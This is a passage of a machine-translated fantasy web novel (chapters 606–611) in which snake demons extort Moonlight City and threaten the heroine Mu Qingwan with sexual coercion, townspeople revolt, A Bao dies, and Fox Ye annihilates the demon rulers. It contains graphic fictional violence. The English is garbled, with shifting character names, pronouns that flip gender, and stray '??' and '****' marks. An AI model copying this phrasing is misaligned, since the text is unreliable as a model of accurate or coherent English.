    "Sister Qing Wan, a team suddenly broke in just now, and the leader should be two snake monsters. They are very arrogant and kill people in the street. Now they are holding the tax officer and coming to us!"


    Mu Qingwan was slightly startled.


    "Snake demon?"


    "Correct!"


    Mu Qingwan is not a fool. He immediately thought of the backstage of the Tiger Head Gang, and the leader who had never expressed his attitude couldn''t help but look in awe.


    "okay, I get it!"


    "Sister Qing Wan, or avoid it first! These guys are not good at coming!"


    Mu Qing shook his head, "Avoid it, but I''m leaving, what about the remaining people?"


    At this moment, I heard someone grinning in the alley: "Who is Mu Qingwan? Get out and see me!"

 Chapter 606： Demon is meaningless

    Mu Qingwan''s expression changed, and he got up and walked out.


    At the same time, the entire Coolie Alley was shaken, and everyone walked onto the street one after another, and then stood in the distance, staring coldly at the majestic Snake and Snake Brothers.


    When Mu Qingwan''s figure appeared on the street, everyone walked away silently.


    After Mu Qingman passed, everyone followed him silently and walked forward step by step.


    The whole process was silent, but it was this kind of silent silence that formed a powerful deterrence, and even the Snake Sky Snake Wood and other demons in the alley subconsciously took a half step back.


    The two demons of Snake Sky and Snake Wood looked at each other, and both saw the coldness in each other''s eyes.


    At this time, Mu Qingwan walked closer and said in a deep voice, "I am Mu Qingwan, who are you? What are you looking for?"


    After seeing Mu Qingwan''s appearance clearly, these demons were taken aback, and then all showed a coveted look.


    Especially the two brothers, Snake Tian and Snake Wood, with such greedy appearance, they can''t wait to swallow Mu Qing in one bite.


    "Jiejie, I didn''t expect that in this remote place, there would be such a symbolic beauty!" Snake Muyin smiled, hissing snake letter.


    Mu Qingwan frowned slightly, "What on earth are you going to do?"


    "What are you doing?" Snake Tian sneered, "Mu Qingwan, you openly killed the able-bodied subordinates of Lord Commander, and you asked us what to do?"


    Mu Qingwan''s face paled slightly, and he knew in his heart that what he had been worried about had finally happened.


    At the same time, everyone behind Mu Qingwan stepped forward.


    "What are you doing? Do you want to rebel openly?" Snake Tian asked coldly.


    Mu Qing waved his hand and signaled everyone not to act rashly, and said solemnly: "The two generals, the tiger head gang was not my intention, it was all because of the aggressiveness of the boy and leopard, and I killed it out of helplessness! I also hope that the two generals will learn from it."


    "Haha!" The second child, Snake Wood, said with a grinning smile. "Not only does he look beautiful, but he also speaks so wonderfully. What an exciting stunner!"


    Mu Qingwan''s complexion grew colder, and the expression in this snake tree''s eyes was simply too evil. When he was staring at him, the whole person seemed to have fallen into a cold swamp, very uncomfortable.


    The eldest Snake Tian said lightly at this time: "It turns out to be like this! In that case, you can count on a cause!"


    Mu Qingwan heaved a sigh of relief when he heard the words, thinking that things had turned for the better, and said, "Master General really has eyes like torches!"


    But then Snake Tian shook his head and sneered: "But when I wait for thousands of miles to come, will I leave after hearing your words?"


    "The general means..."


    "It''s very simple. I won''t make it difficult for you to wait. As long as you hand over the moonstone ten times the number of years as compensation, I can leave after waiting, and I can also help you with a few words in front of the commander, so that you can wait. Worry for the future! How?"


    As soon as the words came out, there was a commotion in the crowd.


    A moonstone ten times the annual number.


    This is simply an impossible task.


    We must know that the moonstones handed in every year are already an extremely heavy burden for mining coolies.


    If it were to be increased tenfold, it would only be filled with the lives of countless people.


    After hearing this, Mu Qingwan smiled bitterly, clasped his fists and clasped his hands: "Master General, this condition you want is simply impossible to complete."


    "Oh? It can''t be done? Well, I''ll give you another way!" Snake Tian paused, Yin Xie''s eyes kept rolling on Mu Qingwan.


    "As long as you accompany our brothers for one night, then I can reduce or exempt the moonstone handed in at my discretion. This condition...what do you think?"


    If there was a commotion in the crowd just now, it''s almost a frying pan now.


    Countless people glared.


    Because Snake Tian''s words blasphemed Mu Qingwan''s image in the hearts of these coolies who were deeply favored by him.


    At this time, Snake grinned and said: "Why? Still disagree? You know, our brothers have never offered such generous terms to others! If it still doesn''t work, then we have to do business, and don''t blame us when that happens. You''re welcome."


    As he said, Snake suddenly drew a whip and blinded a tax official''s eye.


    The tax official rolled on the ground in pain.


    Snake Tian grinned and urged the strange beast under his hips, and the strange beast stepped forward, just as he was about to trample the tax official to death.


    Mu Qingwan took a deep breath, "Hold on!"


    Snake Tian heard the words and took the mount, "What? I figured it out? Don''t worry, our brothers have great skills, and they will definitely make you, a little beauty, want to die!"


    His words caused the group of demons to laugh.


    Mu Qing''s face was cold as frost, "Two generals, can I think about this matter?"


    "Okay! Then we will give you half a day, and we will be waiting for your news at the Fun Fair tonight!"


    After Snake Tian said, he turned his horse''s head and left, while Snake Mu greedily watched Mu Qingwan''s face, "Little beauty, remember to come here clean!"


    After that, he left with a big laugh.


    These demons are gone.


    The crowd is about to explode.


    "Sister Qing Wan, these guys are deceiving too much, let''s fight with them!"


    "Yes, we absolutely cannot agree to this condition!"


    Mu Qing turned his face sinking like water, "Don''t say it, you guys will leave first! Remember, no one is allowed to do it without my order."


    After speaking, Mu Qingwan turned and left.


    Everyone looked at each other, and then all of them dissipated sadly.


    When Mu Qingwan returned to the room, A Bao hurried over when he heard the news.


    "Sister Qing Wan! You must never agree to the terms of this group of monsters, Mr. Liu, the teacher, said, these monsters have never talked about faith, if they agree, it would be tantamount to seeking skin with a tiger!"


    Mu Qingwan''s face was a little pale, and he just smiled, "Well, I am not that stupid! I have my own way of this matter!"


    "any solution?"


    "You don''t have to ask! Go ahead and leave me alone."


    Abao lowered his head A touch of determination flashed in his eyes, and then nodded without moving his head, "Okay! Then I''ll leave Qingwan sister first!"


    After Mu Qingwan was left alone in the house, she sat there for a long time, her face gradually showing determination.


    The incident that happened in Coolie Lane during the day quickly spread throughout Moonlight City.


    Countless people are angry about it.


    But what came was the demon army under the command of the adults, and this kind of power made many people only dare to speak up.


    For example, this is the case with the club��s owner.


    When these demons broke into here and acted wantonly, he could only face it with a bitter smile.


    Countless delicacies and fine wines filled more than a dozen tables, and all the girls in the music hall were forced to receive them.


    As for the other guests, they were all bombed away.


    Some of them walked a little slower, and were even broken their necks directly by these demons.

 Chapter 607： Passionate girl

    The lights flickered in the huge hall and it was very lively.


    This group of demons drank wine for fun, these girls could only accompany them tremblingly, adding wine and serving dishes carefully, and did not dare to be negligent.


    But even so, still cannot escape the tragic fate.


    Snapped.


    After a muffled noise.


    A girl''s head was beaten to pieces, the head splashed on the table, and the dead body fell to the ground.


    The mountain demon who did it was obviously already drunk, and he cursed incoherently: "Damn, let you take it off and take it off. What kind of innocence did you pretend to be pure? Did he give you a face?"


    Seeing this scene, the eyes of the other girls in the room all showed anger and sadness.


    But these monsters didn''t care, and instead laughed.


    Even the brains splashed all over the table are not shy about drinking and having fun.


    At this time, a demon with a higher status asked: "General, why did you negotiate terms with the little lady today? Wouldn''t it be over if you just grabbed it and let him serve the two? Why bother?"


    "That''s right, that little lady looks really good today! It''s oily and slippery, it must be very exciting to eat!" A demon echoed with a smile.


    "What do you know? When I didn''t see me threatening with words, did this Mu Qing look desperate? Hey, this is only interesting!" Snake Tian smiled.


    "Big brother is right, we brothers finally came out once, we have to play enough before we can do it, otherwise is it a loss?" Snake said.


    The demons all laughed when they heard the words, and raised their glasses to toast.


    "The two generals are absolutely right!"


    Just when these demons were drunk and dreaming in it.


    A black carriage slowly stopped in front of the entrance to the band.


    The family in front of the door who was in charge of welcoming guests stepped forward feebly.


    "Excuse me, I won''t accept the band today..."


    Before he finished speaking, the house was stunned.


    Because the driver was a stunning woman with black clothes and black hair.


    "Am I not receiving either?" the woman said lightly.


    Jia Ding trembled all over, already recognizing the person.


    "Mu...Popular girl?"


    Mu Qingwan nodded lightly, then got out of the carriage, and looked up at the music club that was no longer the bustle of the past.


    Jia Ding stood aside respectfully, not daring to speak, but secretly looked towards Mu Qingwan.


    Today''s Mu Qingwan, dressed in black, with long hair curled up, revealing a long neck, her already beautiful face is even more refined in the light of the night.


    This Ding is a bit silly.


    At this time, Mu Qing said indifferently, "Where are those demon army?"


    "Both... are in the hall."


    Mu Qingwan nodded, turned around and took out a black box from the carriage, and then stepped inside.


    This Ding looked stupidly, until Mu Qingwan''s figure disappeared behind the gate, he suddenly understood something, and ran to the courtyard next to the music workshop.


    Mu Qingwan came outside the hall.


    Listening to the noise from inside, Mu Qingwan was silent for a moment before he opened the door and entered.


    Her appearance made the room quiet instantly.


    All the demons were startled at first, and then a greedy look appeared on their faces.


    Snake Tian smiled gloomily: "Very good! Mu Qingwan, it looks like you should have figured it out."


    Mu Qingwan did not say a word, but walked directly in, put the box in his hand on the table, and slowly opened it.


    As the box opened, it seemed like a bright moon appeared in the room, the faint light enveloped everything, and even the flickering candlelight was dimmed by the reflection.


    All the demons showed a pleasant look.


    "It''s Moonstone!"


    "And it''s the highest-level moon spar!" A demon said excitedly.


    Snake Tian and Snake Wood Two Demons were unmoved, but stared coldly at Mu Qingwan.


    "What does it mean?"


    Mu Qingwan took a deep breath and said, "These spars are what I have accumulated over the years. If the two generals are willing to raise their hands high, these will be yours!"


    The reason why moonstones are precious is that the strength of the moonlight contained in them is very helpful to the cultivation of the monster race.


    The power of the moonlight contained in these moon spars is even more terrifying and is naturally very precious.


    Snake Tian looked at the spar and then at Mu Qingwan, and he smiled, "It sounds very good!"


    The second Snake Wood said coldly: "Unfortunately, for us, spars are also needed, and people have to stay today!"


    As soon as the voice fell, Mu Qingwan, who had been bowing his head, raised his eyes suddenly, his eyes filled with decisive anger.


    She had planned for the worst when she came, so she was not surprised by this result.


    Therefore, she drew out the hidden long sword in an instant and pierced the snake tree closest to her.


    Snake Mu grinned and said, "My little lady, don''t you know, the more you are like this, the more excited I will be?"


    As he said, snake scales appeared on his body, and he insisted on Mu Qingwan''s sword.


    Ding.


    After a sound of gold and iron, the long sword in Mu Qing''s hand was shaken out.


    Snake Tian spit out a snake letter at this time, and the snake letter instantly turned into a huge rope and went straight to Mu Qingwan.


    If he were **** by this snake letter, Mu Qingwan would have no choice but to die.


    But in the face of this situation, Mu Qingwan showed a relaxed look, a smile appeared at the corner of his mouth, his left hand dropped, catching the dagger that had fallen from his sleeve, and piercing the moonlight spar on the table abruptly.


    Although the moon spar is very precious, it also has one of the biggest flaws, that is, once it encounters a violent vibration, the power of the moon may be out of control, and the result is....


    The power is terrifying, the big bang!


    All this was planned by Mu Qingwan.


    It would be better to buy these monsters through these moonlight spars.


    If not, then burn the jade and the stone.


    Anyway, these monsters can''t be allowed to act recklessly.


    But just when the dagger in his hand was about to touch these moonlight spars.


    Mu Qingwan suddenly felt his neck tighten, and then his feet lifted off the ground, and the whole person was pinched off the ground by She Musheng who did not know when he rushed to the front.


    "Want to die with us? Mu Qingwan You are just wishful thinking!" Snake Mu said coldly.


    Mu Qingwan struggled, but Snake Mu''s hand was so powerful that no matter how hard he struggled, he couldn''t shake it.


    After a while, the suffocation made Mu Qingwan''s eyes gradually blurred, but he suddenly sighed in relief.


    It''s not bad if you die like this, at least you don''t need to be humiliated.


    She Mu seemed to see through her thoughts, and grinned: "Do you think you can keep your innocence if you die? We will play with you! Hahahaha!"


    Hearing Snake Mu''s proud laugh, Mu Qingwan felt that his heart was sinking gradually, and the whole person was like a hell.


    She has tried her best, but facing a monster whose strength is far stronger than her, her best effort alone is far from enough.


    Just when Mu Qingwan gradually gave up struggling because of suffocation, and an ominous death air appeared on his face.


    A girl who was closest to her suddenly got up, and threw the hot pot in front of him at Snake Wood.

 Chapter 608： Anger

    Although Snake Mu Nai was a powerful monster, he was caught off guard and screamed.


    The hand pinching Mu Qingwan also released.


    Mu Qingwan fell to the ground, covering his neck with his hands, breathing in the fresh air.


    Snake Wood turned around and roared with murderous face: "Smelly bitch, I will tear you up a little bit!"


    Then he rushed over.


    The girl who threw the hot pot was pale and trembling, but she gritted her teeth and did not retreat.


    At this moment, the windows of the hall shattered, and several black lights went straight to the snake wood in the air with the sound of breaking through the air.


    Snake Mu was shocked, and he rolled in the air, avoiding these black lights.


    After a few muffled noises, these black lights were inserted on the wall behind, and the feathers on the tail of the arrow quivered slightly, and it was a few black crossbow arrows.


    "Who?" Snake Wood roared in anger after landing.


    "Damn, Yaozu is amazing? Don''t talk about eating me or drinking me, dare you to beat the girl who made fun of me? Today, I will fight with you!" A furious male voice came.


    The girls in the room were all startled.


    This sound...


    It''s the big owner of the band!


    "Girls, all squat down!"


    Following the man''s voice, these girls squatted down immediately.


    Then I heard the sound of dense bowstrings outside, and countless black lights penetrated the walls of the doors and windows like a tide, and hit these monsters.


    These arrows are all attached with talisman seals, which will cause extra damage to the monster race.


    Outside the door, the big owner of Qu Band looked at all this painfully, and kept muttering, "Damn, today''s loss has occurred!"


    But in the face of these arrows, Snake Tian, ??who had been sitting in the chair still motionless, gave a cold snort, opened his mouth and spit out a cloud of black mist, covering all these arrows.


    This black mist is obviously extremely corrosive. These arrows stagnated in the air and quickly began to dissolve and disappear.


    Then he stood up slowly, "Do you want to hurt us with this trick?"


    With that said, he walked up to the girl, and ignoring her crying and struggling, grabbed her directly.


    "Hey, I wanted to keep you guys alive, but since you don''t cherish it, then I have to eat you a little bit!" As she said, Snake Tian spit out a long snake letter, in the girl''s Walking up the neck and cheeks.


    The girl screamed with fright.


    Mu Qingwan, who was sitting on the ground and panting, suddenly grabbed the dagger on the ground, straightened up and pierced towards the snake sky.


    But as soon as she leaped up, a slender snake letter entangled it, and then slammed it.


    boom.


    Mu Qingwan hit the wall, opened his mouth and spit out a large mouthful of blood, then slowly fell down, unable to get up for a while.


    "Hehe, forgot you are there! Don''t worry, none of you can run tonight! I will play with you slowly and make you regret that you are personal!" Snake Tian smiled cruelly.


    "Oh? Really? But I don''t know how many of you monsters can deal with tonight?"


    With an icy female voice, countless figures began to emerge from the darkness, and even the walls of the small courtyard could not resist these people''s footsteps and collapsed one after another.


    Hearing this female voice, Mu Qingwan was struck by lightning and turned his head to look at it with all his might.


    really.


    It was A Bao who walked in front of the crowd.


    When A Bao saw Mu Qingwan''s current situation, his eyes couldn''t help burning with anger.


    "You bastards! How dare to treat my sister Qing Wan like this!"


    Following Abao''s cursing, these people all scolded.


    "Shameless monster! I fought with you today!"


    "Dare to hurt Sister Mu, even if you are a heavenly king, Laozi!"


    Under the anger of the crowd.


    These demons couldn''t help but change their colors.


    Mu Qingwan looked at all of this blankly, already bursting into tears.


    Because among the people she saw, there were people from Coolie Lane, people from various small gangs, and even those opponents who were at odds with her.


    "You...you." Mu Qingwan said.


    "Sister Mu, it''s okay for us to fight, but you are so bullied by these monsters. If we don''t take action, are we still a big man?" A man who had fought with Mu Qingwan said in a deep voice.


    "Yes! Let''s just watch Mister Mu you being bullied, we can''t do it!" Many people agreed.


    A Bao is a very smart girl, and she could see that Mu Qingwan was absent during the day.


    But Abao didn''t make a move at the time, but waited to go out before discussing with everyone.


    In the end everyone decided to do it tonight anyway.


    Because everyone understands that there is no good way to talk to these monsters, only the way you die or I live.


    But in the evening, A Bao was about to discuss with Mu Qingwan, only to find that she had disappeared.


    A Bao knew that things were not good at the time, and immediately called people to come later.


    At the beginning, A Bao just wanted to summon the people in Coolie Lane, but he didn''t expect that as soon as the news spread, the whole Moonlight City was a sensation.


    Whether it is big or small forces or all gangs and factions, they all rushed out, vowing to die with this group of demons.


    At this moment, A Bao took a step forward, his slightly immature face was full of murderous aura, "Now hand over Sister Qing Wan, and then you can get out of Moonlight City, and you can spare your lives, otherwise... kill without mercy!"


    But at this time, She Tian and She Mu looked at each other, then Yang Tian laughed.


    "Interesting, really interesting! Do you really think what you can do to us with your mob? Today, let you see and see how powerful the snake-monster clan is!"


    With that, the two demons flickered, and then shouted loudly.


    boom!


    A strange snake with a black body and two heads appeared in front of everyone.


    "Jie Jie, since we have revealed our body, then none of you can leave today!"


    "Kill!" A Bao showed no fear, and led the crowd to rush up.


    With two snake heads and one mouth, black mist sprayed out. As long as a person touches a point, it instantly turns into pus.


    But even so, no one flinched.


    Those demons also rushed up.


    A cruel fight began Since they are not the same race, they are naturally merciless.


    These monsters win in their physical strength and high strength, while the human race wins in a large number of people, and they are all prepared, all with amulet that can restrain the monster.


    But even so, the casualties are still extremely heavy.


    Among them, the two-headed snake that killed the human race the most.


    Fan Iron Weapon''s Blade is not effective at all, and it sprays a black mist, which can turn several people into blood.


    At this time, A Bao had rushed to Mu Qingwan and helped him up from the ground.


    "Sister Qing Wan! Are you okay!"


    Mu Qing shook his head, then looked at the arrogant double-headed snake with a green expression.


    "If we can''t kill this two-headed snake, then we won''t be able to defeat these demons at all!"

 Chapter 609： Fool, I like you!

    A Bao naturally understands this truth, but the key is that this double-headed snake is so powerful that ordinary people can''t get close to it.


    "Sister Qing Wan, let''s quit here first, otherwise the longer it takes, the more casualties there will be!" A Bao said solemnly, holding Mu Qingwan and walking out.


    At this moment, one of the heads of the two-headed snake turned around and smiled gloomily at the two.


    "Want to go? It''s not that easy, you two little ladies have to stay with me today!"


    He opened his mouth and spit out a slender snake letter, and rushed towards Mu Qingwan and A Bao.


    Mu Qingwan had lost his combat effectiveness now, but he was barely able to stand, and A Bao stood in front of her, his immature face full of determination.


    When the snake letter rushed to the front, A Bao suddenly raised the sword in his hand, the blade facing forward.


    The snake letter couldn''t dodge, and was cut open in the middle by the blade.


    The smelly blood flowed all over the floor.


    The two-headed snake roared in pain, "Damn bastard, I will crush your bones a little bit."


    With that, the snake letter that had been split into two was like two ropes, which came together from both sides, trying to trap them.


    A Bao''s swordsmanship was learned from Mu Qingwan, although it was not bad, but when faced with this powerful two-headed snake, he didn''t look so good enough.


    The sword just now was purely because the double-headed snake was careless, otherwise it would not work.


    Now surrounded by two snake letters, even though Abao is clumsy on the left and right, he is still incapable.


    In addition, he had to protect Mu Qingwan behind him, so it was even more dangerous.


    Mu Qing stood swayingly, and said weakly: "Abao, leave me alone, go!"


    A Bao cut off a snake letter that had rushed to the front with a sword, and said in a very firm tone: "I won''t go!"


    "But if you stay here, the two of us can only die together!" Mu Qingwan shouted with all his strength, trying to let A Bao go.


    A Bao shook his head, "If you die, what are you afraid of! A Bao said at the beginning that he would never leave Sister Qing Wan in this life!"


    Mu Qingwan was stunned by Abao''s words, and then stared blankly at Abao''s thin back who was fighting hard.


    Ten years ago, when Mu Qingwan saw A Bao for the first time, she was standing alone in a corner of the city, with a grass sign on her head, wearing a rotten piece of clothing.


    The other children and the traffickers are eating.


    She just watched quietly without crying or making trouble, and there was no wave in her eyes that were too big because of their smallness.


    It was like a dying old man, calm and terrible.


    The point is that she was only five or six years old at that time, and only because she was small, she looked like a child of two or three years old.


    Because she never cried or laughed, she was considered a fool by the traffickers, and she simply refused to let her eat any food and let her fend for herself.


    I don''t know why, maybe it was touched by A Bao''s eyes.


    Mu Qingwan bought her without hesitation.


    The trafficker who collected the money also said with a smile that he would not be responsible if such a child died after buying it back.


    In the tone, it was like talking about a cargo.


    Mu Qingwan didn''t say a word, but led A Bao away.


    That night, there was a big fire in the city. The strange thing was that the fire did not burn any children, but all the traffickers were burned alive.


    From then on, A Bao followed Mu Qingwan.


    In the first year, A Bao still didn''t speak, but followed Mu Qingwan quietly. No matter what she did, A Bao followed.


    At that time, some people thought that she was either a dumb or a fool, and they had persuaded Mu Qingwan to throw her away.


    Mu Qingwan did not agree.


    With the passage of time, this little girl gradually grew up under the care of Mu Qingwan, and eventually grew into a slim little girl with a cheerful and lively personality.


    But only Mu Qingwan knew how many times this little girl who seemed to be happy all day woke up from crying when she went to bed at night.


    And A Bao did say to Mu Qingwan that she would never leave forever, even if Mu Qingwan did not want her one day, she would still rely on it.


    When she said this, A Bao smiled happily, but Mu Qingwan saw the tears in her eyes.


    This is such a pitiful little girl who is fulfilling her promise today


    A Bao''s sword is missing a few huge holes, and there are also a few hideous scars on his body.


    Even so, A Bao was still panting and holding the sword in both hands, his hands were shaking slightly, but he still stared at the double-headed snake without fear.


    "Jie Jie, she is really a stubborn little girl, well, my uncle won''t play with you anymore! Kneel me down now!"


    The two-headed snake that had been playing with Abao was a bit impatient at this moment. The snake letter that had been chopped in half instantly merged into one, and then swept across with the sound of the wind.


    If this blow hits, A Bao will at least break his bones.


    As for the others, they were all entangled by the demons at this moment, and couldn''t make it.


    A Bao tremblingly raised his sword.


    But at this moment, a sword light like the first clear sky after the snow flew from outside.


    The demons along the road were too late to react, so they were cut in half by Jianguang.


    And the two-headed snake was about to dodge, the sword light had arrived.


    The double-headed snake''s invulnerable body is no different from the lamb to be slaughtered in front of this sword light.


    With a click.


    A head was chopped off.


    After Jian Guang landed, he was an indifferent fox man.


    It''s Fox Snow!


    Mu Qingwan was overjoyed.


    Then I heard a lazy voice coming from outside.


    "Damn, Lord Fox, I just left for a few days? Do you demons dare to come and ask for something?"


    With that, Hu Ye walked in slowly, and smiled at Abao and Mu Qingwan.


    "Fortunately, it was not late!"


    At this time, there was only one two-headed snake left and said angrily: "Who are you?"


    Hu Ye smiled slightly, "My last name is Dad, my name is Dad!"


    "Father? Dad?" The double-headed snake was startled, and then realized that Fox Ye was taking advantage of him, and couldn''t help but roared, "I''m going to kill you!"


    Then he rushed up.


    Huye took a half step back and said lightly: "Kill it!"


    After hearing this, Hu Xuesha took a step forward and stabbed out with a sword.


    Click.


    The head of the two-headed snake was directly pierced by the biting sword light.


    When the double-headed snake died, everyone just breathed a sigh of relief.


    But at this moment, the snake''s head that was chopped off suddenly violent, and bit on the nearest Abao''s calf.


    This scene stunned everyone in the room.


    On the other hand, A Bao''s face was blank, as if he didn''t know what happened.


    Hu Ye was the first to react and roared, "Snow Kill!"


    The sword light from the death of Hu Xue flew immediately, blasting the snake''s head into powder.


    Then Hu Ye rushed up and hugged A Bao, who was slowly falling backward.


    A Bao''s face showed a blue aura at a speed visible to the naked eye. After he fell into Huye''s arms, he muttered, "Why is it all black?"


    Hu Ye hugged her, his hands trembling uncontrollably, "It''s okay! It''s okay! It''s just that the candles in the room have gone out."


    "Are you... holding me?" A Bao said softly, his breath getting weaker and weaker.


    Huye trembled all over, and roared at Hu Xuesha: "Quick, take the detoxification pill!"


    Hu Xuesha hurriedly took out the small bottle from her arms and handed it to Huye.


    Huye was about to feed the medicine, but A Bao said.


    "Hold me tight, I''m so cold!"


    When he said this, the look in A Bao''s eyes was quickly disappearing.


    Fox Ye was startled, the bottle in his hand fell to the ground, and then he held A Bao tightly.


    "It''s great! No one has ever hugged me like this!" A Bao said softly. The body began to gradually cool down.


    After a hundred thousand years of time passed, Hu Ye had thought that she would not cry anymore, but at this moment, her unstoppable nose was sour, and she inhaled hard.


    "It''s okay, if you want to, I will hold you like this every day!"


    The corners of Abao''s mouth raised, wanting to laugh, but he has no strength, and can only weakly say: "Sister Qingwan, I''m sorry, I can''t accompany you!"


    Mu Qingwan was already crying.


    Then A Bao stretched out his hand with all his strength, trying to touch Huye, Huye grabbed her hand and placed it on his face.


    "Fool, I..."


    Before she finished her words, the last flame in A Bao''s eyes went out to death, she also failed to say that I like you!


    Hu Ye held A Bao quietly, without any expression.


    The room suddenly became quiet.


    Many demons began to tremble, because they felt a strong breath that they had never seen before.


    boom.


    With a soft sound, a demon directly exploded into blood mist.


    Immediately afterwards, these monsters began to explode one by one like fireworks.


    A powerful aura that could change the color of the world radiated from Fox Ye.


    Hu Xuesha trembled all over, immediately knelt on the ground, and said respectfully: "Welcome your lord to return!"


    Hu Ye stood up slowly holding A Bao, his face was neither sad nor happy, but said indifferently: "These monster races, there is no need for them to exist!"

 Chapter 610： Today, you all will be buried for Boer!

    The reason why Hu Ye went and returned this time was because the killer organization that Hu Xuesha had served sent him a message.


    Moonlight City will be changed.


    This killer organization is spread all over the Yaozu mountain range, and the information is very well informed.


    So as soon as he received the news, Hu Ye made a decisive decision and returned immediately.


    This is just enough to catch up.


    But I didn''t expect to end up in such a situation in the end.


    Looking at A Bao who seemed to fall asleep in his arms, a touch of pain and guilt flashed in Fox Ye''s eyes.


    This strange girl finally died in her arms.


    He didn''t even have time to finish what he wanted to say before he died.


    Every time I read this, Huye feels heartache.


    And his aura became stronger and stronger, and even formed a similar presence around him.


    In this area, the temperature has dropped to freezing point, and no objects can approach it.


    But it was colder than the temperature, but it was the look in the eyes of Fox Ye.


    At least Mu Qingwan had never seen such an expression as Fox Ye.


    The depth and majesty that has gone through the vicissitudes of life, people can''t help but have an urge to kneel down and worship.


    Hu Xuesha became more and more excited.


    Only he understood what was going on.


    Before the projection came down, it was just a clone of Fox Ye, but looking at the current situation, it seemed that the adult''s ontological consciousness had also descended partly.


    Fox night walked out of the room, looked up at the night sky, and said faintly: "Snow kill!"


    "in!"


    "Guardian here!"


    "understand!"


    "I''ll avenge Boa!"


    After all, Huye rose into the sky and disappeared into the sky in the blink of an eye.


    This shocking speed made everyone look stupid.


    Only a faint worry flashed in Hu Xuesha''s eyes.


    Because he knew that the consciousness of Fox Ye''s ontology was too strong, it would definitely not be accommodated by the rules of this world, especially when the cultivation base was used, it would attract backlash from the laws of heaven.


    The result is likely that this clone of Fox Ye collapsed prematurely.


    As Hu Xuesha was worried, Huye could already feel the hostility of the world around him.


    But he doesn''t care.


    It''s just a clone, he doesn''t care.


    If it weren''t because this world is where the Qiyun chess game is located.


    It is even possible that he directly descended with his body when A Bao died.


    At that time, what a **** would be shattered with one finger.


    He could even crush this world.


    "Bo''er, don''t worry, none of the monster races that killed you can escape."


    Huye''s eyes burned with murderous intent, and there was no more hippie smiling face.


    About five thousand kilometers away from Moonlight City, there stands a majestic city.


    This is where the main city governs Moonlight City.


    now.


    A dinner party is being held in the mansion of the governor.


    In the banquet hall, there is a scene of singing and dancing.


    These demon nobles all turned into human figures, dressed in decent and expensive clothes, and talked together quietly.


    This is already their daily routine.


    As a noble among the demon, they don''t have to do anything, they are just like this every day.


    And above the main position, the commander An Yizheng was drinking tea with several high-level people in the city.


    As the supreme ruler who ruled the mountains in a radius of tens of thousands of miles, the leader Anaconda is now very proud.


    He came from a forest anaconda, has lived for thousands of years, and his cultivation is extremely deep. Only then is the demon commander highly regarded and made him take charge of all this.


    "Master commander, why didn''t you see the two generals of Snake, Sky and Snake?" A black bear general asked with a flat smile.


    "Oh! I sent them to Moonlight City to handle some things."


    "Moonlight City? That small city in the depths of the mountain?" Some Yaozu asked in surprise.


    "Yes!" Jian Yi nodded.


    "What can be done over there? Could it be that new moonstone veins have been discovered?"


    When it comes to this, many Yaozu''s eyes light up.


    For their high-level monster race, moonstone is an indispensable existence.


    If new mineral veins can be found, it will represent a huge amount of interest and wealth.


    Anaconda shook his head, took a sip of tea slowly, and said indifferently: "It''s not that I found any new mineral veins. I sent the Snake and Heaven brothers to go. It''s all because the human race there committed chaos and killed one of my men. ."


    "Committed into trouble? Or Human?"


    These monsters were all startled when they heard it, and then laughed loudly.


    "These human races really do not live or die, they dare to kill the commander''s subordinates!"


    "Yes! Really looking for death!"


    Anaconda smiled slightly, "That''s why I sent the two brothers, Snake, Tian and Snake, and I told them that they can do something cheap when they get there."


    Act cheap.


    The simple four words exude a strong blood.


    These monster races were all excited, and then began to discuss what measures the Snake, Sky and Snake Wood would take to suppress the human race.


    "These two demons are extremely cruel. Now, these human races have to learn a lesson!"


    "Hey, it''s a group of humble human races. They asked for their death, and they actually offended Lord Commander."


    "Yeah! What a supernatural power is the commander, even the demon commander is extremely respectful of him! These human races are purely on their own."


    Anaconda listened with a smile, enjoying the feeling of being complimented.


    But just before he awoke from this feeling.


    A strong breath appeared on the heads of all demons.


    The smile on An Yi''s face solidified.


    "What''s the matter? Why is there such a powerful demon power?" Jian Yi exclaimed, his thoughts turned.


    Could it be that which demon commander passed by?


    My heart is calculating.


    The roof of the banquet hall disappeared silently.


    The moonlight shone on the faces of these stunned monster races.


    And Fox Night stood in the full moon''s radiance, overlooking all the demons below, and said lightly: "You...who is the leader of this party?"


    The gazes of many monster races all looked at Anaconda.


    Anaconda felt cold sweat slipping across his forehead, and hurriedly stepped forward and said, "I wonder if the demon commander is here, what can I do?"


    Fox Ye watched quietly, and then said: "You sent the double-headed snake to Moonlight City, right?"


    Anaconda was taken aback for a moment, and suddenly he felt extremely dangerous, and he was about to find a reason to stall.


    Huye nodded, "It seems so!"


    Then he looked down at A Bao, who was holding him, and said lightly, "Today, you will all be buried for Bao''er!"


    Anaconda Wing was horrified but shocked felt that his whole body''s scales exploded in an instant, and he was about to struggle to resist.


    Huye stretched out his hand and pointed, "Wait, all die!"


    With that, a powerful demon power that made the full moon sway spread.


    All the monster races didn''t even have room to struggle, so they exploded under this powerful monster power.


    Only Anaconda persisted for a longer time, but his eyes showed great horror.


    Among the demons, the higher demons will form a strong deterrent against the lower demons, and they can even explode themselves based on their power alone.


    But what this needs is extremely powerful demon blood.


    Not to mention the demon commander, it is impossible for the demon emperor or even the demon saint to do this.


    And what is the origin of this man?


    What kind of character did he offend? Anaconda sighed in his heart, and then his whole figure exploded into a **** mist, and his soul was destroyed.

 Chapter 611： Chaos

    The banquet hall that had just been singing and dancing had become a sea of ??blood.


    Standing in the air, Fox Ye suddenly saw a golden shackle between his brows.


    This is the backlash of heaven and earth has become so powerful that it can be realized.


    However, Hu Ye just snorted coldly, "Does this heaven want to restrain me? Get out!"


    Following his voice, the shackle broke.


    It''s just that Fox Ye''s face has also aged three points.


    But Huye didn''t care.


    He looked around the vast mountains and said, "Since this world is here, then eradicate all the monster races who have lost their heart!"


    After saying this, Fox Ye''s figure gradually disappeared into the moonlight.


    The news that the anaconda wing and many high-level monsters turned into blood and water quickly spread.


    The originally lifeless Yaozu mountain range began to become no longer peaceful.


    But this is only limited to the talk of the demons after dinner.


    But then, the news that came later began to repeatedly challenge the bottom line of all the monster races.


    The second day.


    The demon commander was bombarded and killed by a mysterious man. Before he died, the demon commander knelt to the ground, not even daring to resist.


    The fifth day.


    The Demon Emperor and many royal families were knocked out by this man.


    The seventh day.


    Master Demon Saint.......


    For half a month in a row.


    Fox Ye''s almost screen-sweeping behavior shocked the entire Yaozu mountain range that was disturbed by the changes of colors and ghosts.


    Because no one knows how powerful this mysterious man''s cultivation and blood is.


